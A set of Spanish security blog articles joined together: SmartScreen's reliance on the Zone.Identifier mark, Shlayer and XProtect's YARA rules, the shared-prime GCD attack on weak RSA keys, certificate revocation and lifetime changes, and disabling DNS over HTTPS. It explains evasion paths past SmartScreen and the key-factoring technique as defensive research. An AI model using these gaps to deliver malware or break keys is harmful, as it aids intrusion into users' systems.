continuo de cierto tráfico) las respuestas de los servidores autorizados de un dominio. Doce años después, incluso después de esa catástrofe, DNSSEC sigue siendo “una rareza”. Espionaje a “gran escala” con BGP: en agosto de 2008, se hablaba de nuevo de la mayor vulnerabilidad conocida en Internet. Tony Kapela y Alex Pilosov demostraron una nueva técnica (que se creía teórica) que permitía interceptar el tráfico de Internet a escala global. Se trataba de un fallo de diseño en el protocolo BGP (Border Gateway Protocol) que permitiría interceptar e incluso modificar todo el tráfico de Internet no cifrado. Heartbleed en 2014: dio de nuevo la posibilidad de conocer las claves privadas en servidores expuestos. Además, inauguró las vulnerabilidades “de marca”, porque el apocalipsis también hay que saber venderlo. Se diseñó un logo y una página exclusiva con plantilla que se convertiría en estándar de facto, se reservó un dominio, se orquestó una especie de campaña de comunicación, se colaron exageraciones para dar empaque, se cuidó el timing, etc. Abrió el camino a una nueva forma de notificar, comunicar y difundir fallos de seguridad, aunque curiosamente, el efecto técnico a corto fue otro: se puso a prueba el sistema de revocación de certificados y, efectivamente, no estuvo a la altura. Spectre/Meltdown en 2017 (y desde entonces otros muchos fallos en los procesadores): este tipo de fallos contaba con algunos elementos muy interesantes como para suponer una importante innovación. Se trataba de fallos de diseño hardware, nada menos que en el procesador. Pocas veces habíamos sido testigos de una nota en el CERT.org donde se propusiera tan abiertamente cambiar el hardware para poder solucionar un fallo. Sin embargo, si lo miramos con perspectiva, hasta el momento parece que nunca se ha utilizado ninguna de estas vulnerabilidades como método de ataque masivo que colapse Internet y “lo rompa”. Afortunadamente, la responsabilidad de todos los actores en la industria ha servido para que no nos situemos en los peores escenarios. Desafortunadamente, sí que hemos sufrido graves problemas en la red, pero han sido provocados por otros fallos mucho menos espectaculares, basados en “gusanos tradicionales” como WannaCry. Lo que manifiesta quizás una interesante perspectiva sobre, por un lado, lo maduro de la industria y, por otro, el tremendo trabajo que es necesario culminar todavía en algunos aspectos incluso más simples.

SmartScreen es un componente de Windows Defender orientado a proteger a los usuarios contra ataques potencialmente dañinos, ya sea en forma de enlaces o ficheros. Cuando un usuario se encuentra navegando por Internet, el filtro o componente SmartScreen analiza los sitios que está visitando y, en caso de ingresar a uno considerado sospechoso, muestra un mensaje de advertencia para que el usuario decida si desea continuar o no. Pero también alerta sobre archivos descargados. Hemos investigado cómo funciona SmartScreen particularmente en este aspecto y hemos intentado comprender cuáles son los disparadores que activan este componente de protección desarrollado por Microsoft para conocer mejor su eficacia. ¿Cómo sabe SmartScreen qué archivo debe analizar? Alternate Data Streams o ADS es una característica propia del sistema de archivos NTFS que permite almacenar metadatos en un archivo, ya sea por medio de un stream directamente o por medio de otro archivo o fichero. Actualmente los ADS también son utilizados por diferentes productos para marcar archivos en el stream “:Zone.Identifier” y así saber cuándo un archivo es externo (es decir, que no fue creado en el propio equipo) y por tanto debe ser examinado por SmartScreen. Microsoft comenzó a marcar todos los archivos descargados a través de Internet Explorer (en su momento) y otros desarrolladores de navegadores comenzaron a hacer lo mismo para aprovechar la protección de SmartScreen. El valor que se escribe en el stream, es decir, el ZoneId, puede tener cualquier valor que uno desee. Sin embargo, el comportamiento de SmartScreen se rige en base a los valores reflejados en la siguiente tabla: Activar el valor en cualquier fichero es fácil por línea de comando: ¿Los navegadores utilizan esta característica para marcar los ficheros? Analizamos los 10 navegadores más usados en sistemas operativos de escritorio. Para ello, descargamos un archivo de una página web. ¿Se agrega el ZoneId al archivo descargado? En la mayoría de los casos sí. ¿Y los clientes de FTP, versión de código, sincronización en la nube o transferencia de archivos? Analizamos ahora otros programas susceptibles de descargar ficheros. Por ejemplo, la mayoría de clientes de correo no agrega el ZoneId para que sea analizado por SmartScreen. Una buena parte de los clientes de mensajería instantánea de escritorio sí lo hace. Ningún cliente de FTP, versionado de código o de sincronización en la nube anade el ZoneID adecuado, por tanto los ficheros obtenidos por este medio no serán analizados por SmartScreen. Tampoco se preocupan por marcar los ficheros los clientes de sincronización en la nube... Ni por los mecanismos integrados de transferencia de archivos en Windows. Al menos WinZip y el descompresor nativo de Windows sí respetan esta opción si se descomprime tras la descarga. Posibles evasiones Tras entender cómo y cuándo se marca el archivo, la investigación nos llevó a reflexionar sobre qué proceso se encarga de ejecutar SmartScreen y si existen formas de eludir esa ejecución bajo su supervisión. Para realizar la prueba, marcamos archivos en su mayoría interpretados y conocidos como maliciosos por SmartScreen para saber si el archivo ejecutado de esta forma eludía o no la supervisión de SmartScreen. Tomamos una serie de ficheros en diferentes lenguajes interpretados y les activamos el bit, como hemos mencionado antes. El resultado puede verse en la siguiente tabla: Quizás lo más curioso es la diferencia al lanzarlos con el comando start: En el que SmartScreen se interpone en PowerShell, pero no en CMD. Conclusiones En la siguiente tabla resumen de las pruebas realizadas podemos ver el porcentaje de los que NO escriben ZoneId en el archivo al ser descargado para que pueda ser analizado por SmartScreen: En general, podemos concluir que un potencial atacante tendría varias formas de hacer llegar un archivo malicioso a un equipo con mayores garantías de no ser descubierto por SmartScreen: confiando en que el usuario descargue ejecutables con ciertos programas. Creemos que resulta necesario que tanto los desarrolladores como los usuarios estén concienciados sobre cómo funciona SmartScreen para aprovechar sus capacidades de detección y proteger mejor al usuario. El informe completo está disponible aquí:

Son tiempos convulsos para la criptografía. Aunque el usuario de a pie no lo perciba, el mundo de las páginas webs cifradas y autenticadas (aunque no por ello seguras) está atravesando una profunda renovación de todo lo establecido. Algo en principio tan inmutable como la criptografía está pasando por un momento extraño en el que no sabemos cómo acabará. Eso sí, lo que es seguro es que debemos modificar nuestras creencias clásicas sobre cómo funciona la web. Vamos a repasar algunos acontecimientos recientes que van a poner todo patas arriba. Apple y sus certificados cada vez más “cortitos” Hace ya tiempo que los navegadores marcan el rumbo de Internet y en concreto de la criptografía. Chrome lleva tiempo en una lucha sin cuartel para terminar con el HTTP e intenta que todo sea HTTPS. Lleva años con la estrategia del "cada vez más", marcando como inseguras las páginas que no tengan cifrado y autenticación y, a su vez, elevar el estándar de seguridad de las que sí lo tengan. Por ejemplo, dando de lado certificados que usen SHA1. Primero en la hoja, en el intermedio, etc. Pero esta vez, curiosamente, no fue Chrome sino Apple con Safari el que ha decidido acortar la vida de los certificados a un año, algo que han discutido y votado varias veces todos los implicados. Los navegadores querían que fuese de un año como máximo, las CAs no. Ahora Safari dice que marcará como inválidos los certificados de más de un año a partir de septiembre de 2020. Los principales actores de Internet y las CAs votaron en septiembre de 2019 si se debía reducir (aún más) el tiempo de vida de los certificados TLS/SSL, obligando a que tuviesen un tiempo de vida máximo. El resultado fue, de nuevo, que no. Un 35% votó a favor de la reducción, entre él Google, Cisco, Apple, Microsoft, Mozilla, Opera y Qihoo360. El resto, sobre todo las CAs, votó en contra, con lo que seguimos oficialmente con los 825 días como máximo de tiempo de vida de los certificados. Pero en febrero, en el CA/B Forum de Bratislava, Apple anunció que su máximo serán 398 días. Así sin más, sin aviso ni declaraciones al respecto. A partir del 1 de septiembre, marcará como no confiables los certificados creados a partir de esa fecha y cuya vida sea de más de 398 días. ¿Arrastrará esto al resto de navegadores? ¿A la industria en general? Safari, gracias a iPhone, tiene un 18% del mercado, con lo que cuenta con la suficiente popularidad como para empujarlo. A nuestro entender, es una forma de tomar el pulso a su propio liderazgo. Facebook y sus certificados efímeros Esencialmente existen tres tecnologías que los navegadores pueden implementar para comprobar el estado de revocación de un certificado digital: La lista negra de revocación descargable, conocida como Certificate Revocation List (CRL), definida en la RFC 5280. La historia ha demostrado que no funciona. OCSP, definido en la RFC 6960. OSCP funciona con un mecanismo de pedido-respuesta que solicita la información sobre un certificado específico a la CA. Lo más efectivo por ahora (sin serlo realmente) es la variante del OSCP Staple obligatorio, pero no es muy usada. CRLSets: es un método “rápido” de revocación que utilizan sólo en Chrome, como ellos mismos dicen, para “situaciones de emergencia”. Son un conjunto de certificados que aglutinan información de otros CRLs, se descargan de un servidor y son procesados por Chrome. Aunque el método es absolutamente transparente, la gestión de qué certificados van en la lista es totalmente opaca y no se sabe con qué certificados lo actualizan (a menos que se averigüe por otro lado). Como nada de esto funciona como debería, nacen las delegated credentials, que suponen realmente acortar a poquísimas horas la vida de los certificados, pero no exactamente, aunque juegan con el concepto de lo efímero para combatir el problema. Lo que hará un servidor es firmar con su certificado pequeñas estructuras de datos válidas por días u horas y delegarlas a los servidores que realmente gestionarán el TLS con el navegador. Es decir, en vez de crear certificados más cortos firmados por la CA intermedia y desplegarlos, se simplifican en una especie de “mini-certificados” firmados por el certificado hoja. Con la privada del certificado hoja abandonamos toda la complejidad de las CA intermedias y raíz. El sistema delegaría en los servidores front-end esta credencial delegada y, si el navegador lo soporta, la comprobaría antes que el certificado “tradicional”. Si la credencial delegada está firmada por el certificado hoja (tiene la clave pública para comprobarlo), entonces la clave pública en la propia credencial delegada se utiliza para la conexión TLS y no la pública del certificado. Esta es la clave: se antepone una fórmula mucho más dinámica en caso de revocación que no dependería de ninguna CA y que sería muy rápida de desplegar (tan pronto como caducasen las credenciales delegadas, fuese a por otras y no las pudiera firmar). Además, no hace falta dejar la privada en todos los servidores ni los proxies intermedios. Un único servidor podría servir todas las credenciales delegadas a los servidores web, balanceadores, etc. Let’s Encrypt y sus certificados cuantiosos Let's Encrypt rompió la baraja y ofreció certificados gratuitos y que se podían emitir automáticamente. Su filosofía era ir hacia el “HTTPS everywhere” y no tener que pagar por ello. Su primer certificado nació en septiembre de 2015. En junio 2017 llegó a los 100 millones y el 27 de febrero llegó a los mil millones de certificados. Eso son muchos certificados y supone claro éxito de la empresa acometida, pero también un pequeño problema para otros proyectos como Certificate Transparency. Si bien no sirve para revocar, sí permite que todos los certificados (fraudulentos o no) deban estar registrados y, por tanto, que sea más sencillo detectar a los fraudulentos y luego revocarlos por los métodos “habituales”. Certificate Transparency ya nacía con un problema de privacidad, y retrasó su obligatoriedad por varios motivos: implementaciones que no llegaban, cabeceras que se adoptaban con muy poco margen, RFCs que se comenzaban demasiado ajustados… Aun así, Certificate Transparency goza de buena salud (al menos no tan mala como HPKP), sólo que Google ha sido excesivamente ambicioso con la propuesta. Poner de acuerdo a tantos actores es complicado; más aún en un entorno tan crítico como el de la seguridad TLS. Además ahora se enfrenta a un crecimiento demencial que puede complicar la infraestructura. Fuente: sslmate.com Algunos logs de Certificate Transparency ya se acercan a los mil millones de certificados. Para gestionar mejor este sistema que pretende abarcarlo todo y ser read only, terminaron creando logs por años. Los certificados que expiran en esos años se meten en servidores de logs diferentes que después, normalmente, ya no reciben más certificados. Fuente: sslmate.com Pero si tomamos, por ejemplo, los servidores de Google Argon 2019 (ya casi estable en 850 millones de certificados en todo 2019) y lo comparamos con Argon 2020, vemos que este último tiene en sólo dos meses 400 millones, casi la mitad que el anterior. A este ritmo, llegaría a los 2400 millones de certificados (si no más) gracias precisamente, al crecimiento de Let’s Encrypt y a la política de certificados cada vez más cortos. Fuente: sslmate.com ¿Cómo va a encajar todo esto en el ecosistema TLS del futuro? Iremos viéndolo poco a poco. Todo lo que necesitas saber sobre certificados digitales en este artículo:

Se trata de malware que principalmente invade el sistema de publicidad. Ante esta afirmación tan contundente (un 10% de sistemas operativos infectados y además con una campaña que dura ya dos años) nos hicimos una pregunta: ¿qué está haciendo el sistema operativo para defenderse? Sabemos que XProtect, el protoantivirus que viene de serie, detecta poco y mal. Pero ante una epidemia de estas dimensiones, ¿cómo ha reaccionado? El troyano Shlayer No nos detendremos mucho en cómo funciona porque ya ofrece todos los detalles. Es interesante conocer que se hace pasar por una actualización de Flash habitualmente, y que descarga un fichero cifrado, que una vez descifrado, hace un curl al troyano real. El código de la imagen desofuscará un fichero que acabará haciendo algo como se observa en la siguiente imagen: Esto a su vez llevará a la instalación del adware más agresivo. Este comportamiento tan simple trae dolores de cabeza desde hace dos años a una buena parte de los usuarios. Por cierto, ese curl -F0L es “la marca de la casa”, porque no son parámetros habituales del curl. Qué es XProtect XProtect es un rudimentario sistema de detección por firmas de malware que se introdujo en septiembre de 2009. Se trata de un primer acercamiento a un antivirus integrado en MacOS. Actualmente XProtect cuenta con algunas firmas que se pueden ver claramente (nombre del malware y el patrón de detección) en esta ruta: /System/Library/CoreServices/XProtect.bundle/Contents/Resources/ XProtect contiene firmas, por un lado, y reglas Yara, por otro (viene definido por XProtect.plist y Xprotect.yara en ese directorio). Con los dos sistemas permite la detección y definición del malware, y en esto se apoya GateKeeper, que vigila y se las pasa. La lista XProtect.plist es pública. El número 3 en la URL hace referencia a Mountain Lion. Si se modifica al 2, se ve el fichero de firmas de Lion y 1 es para Snow Leopard. Apple no parece que quiera hablar mucho de ello, pero vamos con la gran pregunta inicial. Otro script complementario del malware más popular para Mac ¿Ha tomado Apple cartas en el asunto Shlayer? Pues sí, pero sólo desde hace poco, cuando introdujo varias reglas Yara para detectar estas firmas (que en principio son un misterio y de las reglas no ofrecen detalles). Por ejemplo, el 22 de enero introdujo estas 4 reglas: MACOS.8283b86, MACOS.b264ff6, MACOS.f3edc61 y MACOS.60a3d68. Pocos días antes, el día 7 de enero, introdujo 3 firmas o reglas Yara más: MACOS_5af1486, MACOS_03b5cbe y MACOS_ce3281e. Y en diciembre introdujo 7 más: MACOS_9bdf6ec, MACOS_e79dc35, MACOS_d92d83c, MACOS.0e62876, MACOS.de444f2, MACOS.b70290c y MACOS.22d71e9. Esto hace un total de 14 firmas en dos meses. Teniendo en cuenta que en 10 años acumula un poco más de 100 firmas, se concluye que en los últimos meses ha trabajado duro. No es nada habitual tener tantas firmas en tan corto espacio de tiempo, así que sí, parece que les preocupa últimamente el malware en Mac. Ahora nos hacemos otra pregunta: ¿Son efectivas estas reglas? Con estas reglas Yara de XProtect, hemos hecho un retrohunting en VirusTotal, para ver desde cuándo existe malware de este tipo. Se trata de una investigación que implica buscar “hacia atrás” en el tiempo ficheros que satisfagan ciertas reglas Yara. VirusTotal devolverá cuantas muestras caigan dentro de esas reglas y nos dará una idea de cuántas en el tiempo han ido apareciendo. Hemos encontrado algo más de 1000 muestras en algo menos de tres meses. Lo interesante es que existen muestras desde bastante antes de diciembre de 2019 (cuando comenzó a introducir las reglas de detección en XProtect), lo que indica que en cierta forma, estas reglas de protección que ha añadido Mac en estos meses llegan tarde. Curioseando en los resultados del retrohunt, hemos localizado muestras que no eran cazadas por los antivirus. En principio hemos pensado en que se trataba de falsos positivos, pero un análisis posterior nos ha mostrado que son reglas para detectar plugins de navegador y adware específico, del tipo: Wharkike, EngineFiles, ContentBenefits, ForwardOpen-extension… Esto nos lleva a una conclusión interesante: XProtect detecta adware (buscadores principalmente) que no detecta ningún antivirus. Aunque es cierto que parece que algún falso positivo se les ha colado (creemos que el módulo mdworker_share es detectado a veces como falso positivo). De nuevo como curiosidad, mil muestras en unos 70 días nos da una media de casi 15 muestras subidas a VirusTotal por día. La inmensa mayoría de las muestras se detectan por tratarse del script de descifrado en la imagen de más arriba. Ésta es etapa temprana del ataque, lo que puede ser bueno. Conclusiones Efectivamente, parece que XProtect (de forma totalmente opaca) se ha puesto las pilas, y en pocos días ha creado más reglas de detección que nunca. Estas reglas están cazando bastante malware en su etapa más temprana, e incluso hacen un mejor trabajo que los antivirus. Sin embargo, tenemos un “pero” muy grande. Las reglas llegan tarde y, además, están a la vista del atacante. Le serán muy golosas para pasar desapercibidos sólo mirando qué detecta XProtect y modificando lo necesario. Eso no significa que sean malas, pero son trivialmente eludibles. Por poner un ejemplo, si analizamos algunas de las strings en las que se basa para detectar el malware, vemos cómo lo detecta: Ejemplo de una de las 14 reglas Yara introducidas Cuyas cadenas se pueden traducir por esto: Que a su vez son comandos que habitualmente usa el malware y que con sólo modificar un byte, podrían eludir las reglas.

Este fin de semana se ha publicado una noticia cuyo subtítulo rezaba así: “Se ha encontrado una vulnerabilidad en los certificados RSA que podría comprometer uno de cada 172 certificados actualmente en uso”. Esto no es cierto, lo que ha ocurrido es que un paper ha recordado que, sin la entropía correcta, los certificados quedan vulnerables, sobre todo en el mundo IoT. Veamos qué ha ocurrido exactamente porque, si bien es interesante el estudio, viene a recordar más que a descubrir. Un poco de base sobre los certificados La seguridad en la criptografía asimétrica, usando claves RSA, se basa en la premisa de que es muy difícil computacionalmente factorizar los dos factores primos de un número. Multiplicar dos números primos p y q para obtener n es una operación sencilla pero dado un número n obtener sus dos factores primos es una operación que se vuelve computacionalmente inviable cuando los números involucrados son lo suficientemente grandes. Para generar la pareja de claves, el algoritmo RSA crea una clave pública y privada usando este concepto. Simplificando la generación de las claves, los números primos elegidos aleatoriamente p y q se multiplican para crear el módulo n que se usará tanto en la clave privada como en la pública. Este módulo n es público pero los factores primos p y q no. 1736640013 x 1230300287 = 2136588706409583731 ? x ? = 2136588706409583731 Intentar obtener la clave privada a partir de estos datos requeriría factorizar el módulo obtenido y así obtener los primos p y q usados para generar ambas claves. Esta operación, con un número tan grande, no es viable computacionalmente en un periodo de tiempo razonable. Pero hay un truco. Si la entropía es baja y durante las generaciones de números primos, alguno se repite… se podría haber dado el caso en el que dos módulos compartan el mismo número p o q. n1 = p1 x q1 n2 = p1 x q2 Si tomamos un buen montón de certificados y este caso se produce, ambos módulos n1 y n2 compartirían un divisor común p1. Para probar esta hipótesis se puede realizar una operación matemática muy sencilla, el cálculo del máximo común divisor. El resultado de calcular el MCD sobre los dos módulos obtenidos de las claves públicas revela que ambos números comparten un divisor distinto de 1. Con este cálculo sencillo se consigue uno de los dos primos usados para la generación de ambas claves, conseguir los otros dos primos desconocidos es trivial. Este “ataque” es un viejo conocido. De hecho, para el cálculo del MCD se pueden usar herramientas como RSACtfTool, o Sanity Cheker, basado en SageMath, y en general, para cálculos rápidos con números enormes, existen diferentes páginas que se pueden consultar, como este ejemplo. ¿Y qué han hecho los investigadores? En la First IEEE Conference on Trust, Privacy, and Security in Intelligent Systems and Applications en Los Ángeles presentaron una investigación en la que aseguraban que se podían comprometer las claves RSA con capacidades computacionales reducidas. Analizaron una base de datos de 75 millones de claves RSA recopiladas de un escáner de dispositivos IoT. Después analizaron usando un algoritmo (en la optimización de este algoritmo puede estar la gracia de la investigación) y la computación de Azure. Intentaron encontrar factores comunes y encontraron que 1 de cada 172 (435.000) compartía un factor entre sí. A partir de ahí se deduce que es fácil romper esos certificados, etc. Pero esto tiene una particularidad, escanearon la red buscando máquina accesibles (muchas IoT) con certificados. Porque luego matizan que tomaron 100 millones de certificados de los logs de Certificate Transparency. Y que si tenían en cuenta solo estos 100 millones de certificados reales solo 5 compartían factores. Un porcentaje ridículo. Parece que han demostrado que el ataque del mínimo común múltiplo por falta de entropía funciona. Sus claves eran entrópicamente pobres pero luego aclaran que esto es un problema en el mundo del IoT donde los dispositivos pueden no ser lo suficientemente potentes como para crear números primos muy distintos (entrópicos) entre sí. En resumen, una muestra empírica de un ataque que ya se conoce, que viene a recordar algo que debemos tener en cuenta: si se calculan las claves RSA en dispositivos con una aleatoriedad baja, los certificados derivados pueden compartir algún primo y por tanto su clave pública puede ser más fácilmente deducida. En la vida real, el ataque no es tan sencillo, porque no puede ser “dirigido” (no puedes elegir qué primo puede ser compartido de qué certificado) sino que puede ser más “casual”, aunque esto no le reste importancia. Igualmente, para ponerlo en práctica y por ejemplo sustituir un certificado, también sería necesario redirigir a la víctima. ACTUALIZACIÓN: Con los datos públicos aquí, hemos modificado ligeramente el artículo. No han fabricado los certificados sino que los han escaneado de Internet aparentemente muchos de máquinas IoT con, efectivamente, baja entropía para la creación de números primos realmente aleatorios.

¿Hemos mencionado alguna vez que la gestión de los certificados TLS es un problema que no está resuelto? Seguro que sí. Por si no queda claro, en los últimos años, además de la fórmula tradicional de revocación de certificados (las CRL, certificate revocation lists), se han puesto en marcha numerosas propuestas: desde OCSP con sus variantes a CRLSets, incluso Certificate Transparency que no revoca pero sirve para detectar rápidamente certificados fraudulentos hasta la reciente votación para acortar su vigencia. Ahora aparece una nueva fórmula auspiciada por Facebook: las “delegated credentials”, que analizamos en este artículo. Por qué una nueva fórmula Esencialmente existen tres tecnologías que los navegadores pueden implementar para comprobar el estado de revocación de un certificado digital: La lista negra de revocación descargable, conocida como Certificate Revocation List (CRL) definido en la RFC 5280. La CRL es una lista de números de serie de certificados revocados que se descarga en un intervalo fijo de tiempo. La historia ha demostrado que no funciona. OCSP, definido en la RFC 6960. OSCP funciona con un mecanismo de pedido-respuesta que solicita la información sobre un certificado específico a la CA. Lo más efecitvo por ahora (sin serlo realmente) es la variante del OSCP Staple obligatorio, pero no es muy usado. CRLSets. Es un método “rápido” de revocación que utiliza solo Chrome, como ellos mismo dicen, para “situaciones de emergencia”. Son un conjunto de certificados que se aglutinan de información de otros CRLs, se descargan de un servidor, y son procesados por Chrome. Aunque el método es absolutamente transparente, la gestión de qué certificados van en la lista es totalmente opaca, no se sabe con qué certificados lo actualizan (a menos que se averigüe por otro lado). Certificate Transparency. Si bien no sirve para revocar, permite que todos los certificados (fraudulentos o no) deban estar registrados y por tanto, sea más sencillo detectar a los fraudulentos y luego revocarlos por los métodos “habituales”. Acortación de la vida. Visto que es imposible revocar a tiempo, la técnica preventiva es que los certificados dispongan de un menor tiempo de vigencia. La reciente votación SC22 suponía que acortar el tiempo de vida representa una mejora en la seguridad en varios planos: supuestamente, adaptarse más rápido a los cambios (por ejemplo al abandonar algoritmos que vayan quedando obsoletos, introducción de nuevos campos en los certificados, etc.); paliar el sistema de revocación (CRL y OSCP), que sigue sin funcionar y está totalmente roto; fomentar la automatización de los procesos (por realizarse más frecuentemente) y por tanto, con menor posibilidad de fallos. El resultado de la votación fue que no se acorta la vida de los certificados. Crecimiento en los últimos años de los CRL (Certificate revocation lists) hasta el pico en 2014 a causa de HeartBleed Fuente: https://isc.sans.edu/forums/diary/Heartbleed+CRL+Activity+Spike+Found/17977 Delegated credentials Supone realmente acortar a poquísimas horas la vida de un certificado, pero no exactamente, aunque juega con el concepto de lo efímero para combatir el problema. Lo que hará un servidor es firmar con su certificado pequeñas estructuras de datos válidas por días u horas, y delegarla a los servidores que realmente gestionarán el TLS con el navegador. O sea, en vez de crear certificados más cortos, firmados por la CA intermedia y desplegarlos, se simplifica a una especie de “mini-certificados” firmados por el certificado hoja. Sí, habéis oído bien. Lo que se firma realmente es esta estructura como esta: Con la privada del certificado hoja, abandonamos así toda la complejidad de las CA intermedias y raíz. El sistema delegaría en los servidores front-end esta credencial delegada y, si el navegador lo soporta, la comprobaría antes que el certificado “tradicional”. Si la credencial delegada está firmada por el certificado hoja (tiene la clave pública para comprobarlo), entonces la clave pública en la propia credencial delegada se utiliza para la conexión TLS, no la pública del certificado. Esta es la clave, se antepone una formula mucho más dinámica en caso de revocación, que no dependería de ninguna CA, y que sería muy rápida de desplegar (tan pronto como caducasen las credenciales delegadas, fuese a por otras, y no las pudiera firmar). Además no hace falta dejar la privada en todos los servidores ni los proxis intermedios. Un único servidor podría servir todas las credenciales delegadas a los servidores web, balanceadores, etc. Así que este será el método que veremos cada vez con mayor frecuencia, porque será adoptado como estándar por la IETF. Si tienes la última versión de Firefox, puedes probarlo (aunque todavía no hay interfaz para verlo). Configura esta opción: security.tls.enable_delegated_credentials Y vete a: https://www.fbdelegatedcredentials.com/. También hay instrucciones disponibles en el blog de Mozilla.

DNS es uno de los protocolos más antiguos de la red, y siempre ha sido un dolor de cabeza de de la seguridad (desde el ataque cumpleaños, hasta el problema de Kaminsky). Todo en claro, con posibilidad de UDP (más fácil aún de inyectar paquetes falsos…), un desastre incluso sin necesidad de ataques, porque los servidores pueden estar controlados por gobiernos y así redirigir o bloquear peticiones, y todo de forma absolutamente transparente y sin privacidad ni integridad (porque DNSSEC no está tan instaurado como debería). Hemos confiado los cimientos de Internet a un protocolo que no ha sabido protegerse tecnológicamente como para que se adoptaran masivamente las soluciones (o no se ha querido, precisamente por esa misma razón) y al que se le han aplicado todo tipo de parches y cataplasmas para no romper con el legado. Tanto, que al final la propuesta para conseguir seguridad ha sido rompedora: pasar la resolución al plano de los datos. Y por si fuera poco, DoH (DNS over HTTPS) hace que la resolución no confíe en el DNS global del sistema, sino que podrá ignorar a ese servidor DNS que habitualmente se te proporciona por DHCP… de forma que cada aplicación podrá resolver a través de HTTPS de forma estándar. Esto es como si cada programa (navegador como estandarte) realizara sus resoluciones de dominio de forma individual, privada e inaccesible para el resto del sistema operativo o aplicaciones. Pero esto no es malo, ¿verdad? ¿No sería maravilloso que nadie viera qué intentamos resolver, y no pudiera modificarlo de ninguna forma? Disfrazar en el HTTPS las peticiones, las respuestas, y dejarse arrastrar por la masa en un puerto que nadie puede cortar, el 443. No más espías o restricciones. Eso es lo que promete DoH, con Firefox como abanderado, pero ¿rompe más de lo que arregla? Algunos creen que sí. Y por eso vamos a explicar cómo deshabilitar DoH a diferentes niveles y aclarar además cuándo no va a activarse. Porque DoH no tiene nada de malo, pero habrá administradores interesados en que sus usuarios sigan confiando en los DNS “tradicionales”. Para los que estén alarmados, que sepan que se puede elegir. Vayamos caso a caso. Cómo deshabilitar DoH en Chrome Chrome usa una estrategia muy conciliadora con todos. Se trata de una tabla propia donde se mapearán los DNS con sus respectivos servidores DoH. Si los DNS de sistema tienen asociado un DoH, resolverá por el DoH de ese DNS. Esta es una aproximación interesante, a medio camino. Si un servidor DNS dispone de versión DoH gestionados por ellos mismos, se pueden seguir aplicando las políticas de seguridad necesarias, con lo que se alivian buena parte de los problemas, manteniendo los beneficios. Como la tabla es insostenible a largo plazo, ya existe una propuesta RFC para incluir tu servidor DoH en tu servidor DNS a través de un registro TXT o del propio HTTPS. En todo caso, si se quiere no usar DoH para nada, se puede hacer desde chrome://flags y marcando la opción en la imagen "Secure DNS lookups". Cómo deshabilitarlo en Firefox: el dominio canario Firefox es el navegador con la estrategia más agresiva, pretende que todos usen DoH contra Cloudfare por defecto. Pero tenemos varias opciones para poder elegir. Si se controlan los DNS de red, se puede usar el dominio canario use-application-dns.net. Esto quiere decir que si Firefox detecta que ese dominio no resuelve con los DNS del sistema, deshabilitará DoH. Sencillo para quien controle sus DNS. Si estáis pensando que vale con bloquearlo en el /etc/hosts, no se podrá. Firefox intentará resolverlo con los DNS de sistema, y solo con ellos. Si el DNS devuelve un NOERROR y contiene registros A, AAAA o ambos… el dominio existirá y por tanto DoH tendrá vía libre. Si devuelve un NXDOMAIN, SERVFAIL, o un NOERROR pero sin A o AAAA… se considerará que se ha bloqueado el dominio y por tanto no se quiere DoH. Cómo deshabilitarlo en Firefox: otras opciones Firefox mirar otras "señales" para saber si debe usar, o no, DoH. Por ejemplo, si detecta algún sistema de control parental en el sistema operativo. No da detalles de cómo, y solo lo hará en MacOS y Windows. Una variante de lo de arriba es si detecta que SafeSearch está activo. Esto es un sistema de Google para evitar que Google y Youtube devuelvan resultados explícitos. Por último, tampoco usará DoH si el flag security.enterprise_roots.enabled está activo en Firefox. Esto se usa en general para que Firefox mire en el repositorio de certificados del sistema operativo (y no en el suyo propio, como hace habitualmente). Ahora también servirá para indicar que no debe usar DoH. Otra forma de usar DoH, pero con más capacidad de elección, es elegir libremente qué servidores DoH se quieren usar. Con nuestra extensión EasyDoH se podrá elegir de una lista de servidores, para no estar atado a Cloudfare y saber qué alternativas existen. Incluso, podemos jugar con las opciones (de momento muy oscuras) de qué modalidad de DoH. Si solo DoH, si DoH o DNS según se resuelva más rápido, deshabilitar el DoH por completo, etc. En about:config con los TRR encontraremos más granularidad. Y por cierto, para saber si lo estamos usando utilizamos o no TRR (al final así lo califica Firefox) podemos visitar about:networking#dns en el navegador. Ahí veremos qué resuelve y por dónde.

Mozilla quiere añadir soporte nativo OpenPGP a su cliente de correo Thunderbird. Esto implica prescindir de su la extensión Enigmail, la reina para la gestión de S/MIME y OpenPGP en el correo. Estos son buenas noticias… o no. Porque saca a la luz algunas realidades del mundo del software que, en el ámbito del código libre y abierto, sorprenden quizá más por las expectativas generadas. OpenPGP es el estándar derivado de PGP. GnuPG es la implementación libre más popular del estándar OpenPGP. GnuPG trabaja fundamentalmente por línea de comando. Enigmail es la pieza que permite usar OpenPGP en Thunderbird, usando en realidad a GnuPG en el sistema (Thunderbird llama a Enigmail, este a la shell, esta a GnuPG que escupe a shell, que recoge Engimail y que envía a Thunderbird de nuevo). Esto quiere decir que la interfaz de Enigmail usa llamadas a líneas de comando y recoge el resultado que redibuja en Thunderbird, con todos los problemas que puede conllevar. Desde luego no es la situación ideal, pero así se ha hecho durante muchísimos años y no ha surgido nada mejor. Ahora las APIs de las extensiones en Mozilla van a cambiar radicalmente (tanto en Thunderbird como Firefox), por lo que la nueva arquitectura deja fuera de combate a Enigmail. Pero no pasa nada, Mozilla se compromete a añadir soporte nativo para OpenPGP en el cliente de correo para el verano de 2020. Solo hay un problema: no saben cómo hacerlo todavía. Los problemas Y no es por falta de conocimiento, obviamente. Es porque la realidad es más compleja que el mundo ideal. El mantenimiento de software (libre o no) no es sencillo, incluso cuando se disponen de recursos. Imagina cuando no. Enigmail es un proyecto de unas pocas personas en su tiempo libre que vive de donaciones. Lo han mantenido durante más de 15 años y, cuando saben que van a tener que matarlo, incluso se ofrecen a ayudar al equipo de desarrollo de Thunderbird a conseguir la integración. Thunderbird a su vez, tenía muchos problemas para mantener su propio código en forma. Hace una década hubo momentos en los que los fallos de seguridad heredados de Firefox, se corregían mucho más tarde en Thunderbird. En 2012 se despriorizó oficialmente (se dijo en voz alta lo que ya se percibía). Temimos lo peor. Mozilla no podía mantener Firefox y Thunderbird a la vez. Pero se arregló, en 2017 volvieron a confirmar que lo mantendrían, pero siempre supeditado a que no supusiera un lastre para Firefox. Y esto para una fundación que maneja, literalmente, millones al año. Enigmail es precisamente una de las extensiones más populares para el cliente. No es perfecto, pero es lo mejor que tenemos. La fórmula para funcionar puede no ser la más elegante, pero según Robert J. Hansen, el mayor problema es el ecosistema OpenPGP en sí. No el protocolo, no la implementación, sino el ecosistema. Y con esto parece incluir ese ataque que sufrió la infraestructura no hace mucho. Hansen, muy comprometido con el desarrollo libre enOpenPGP, 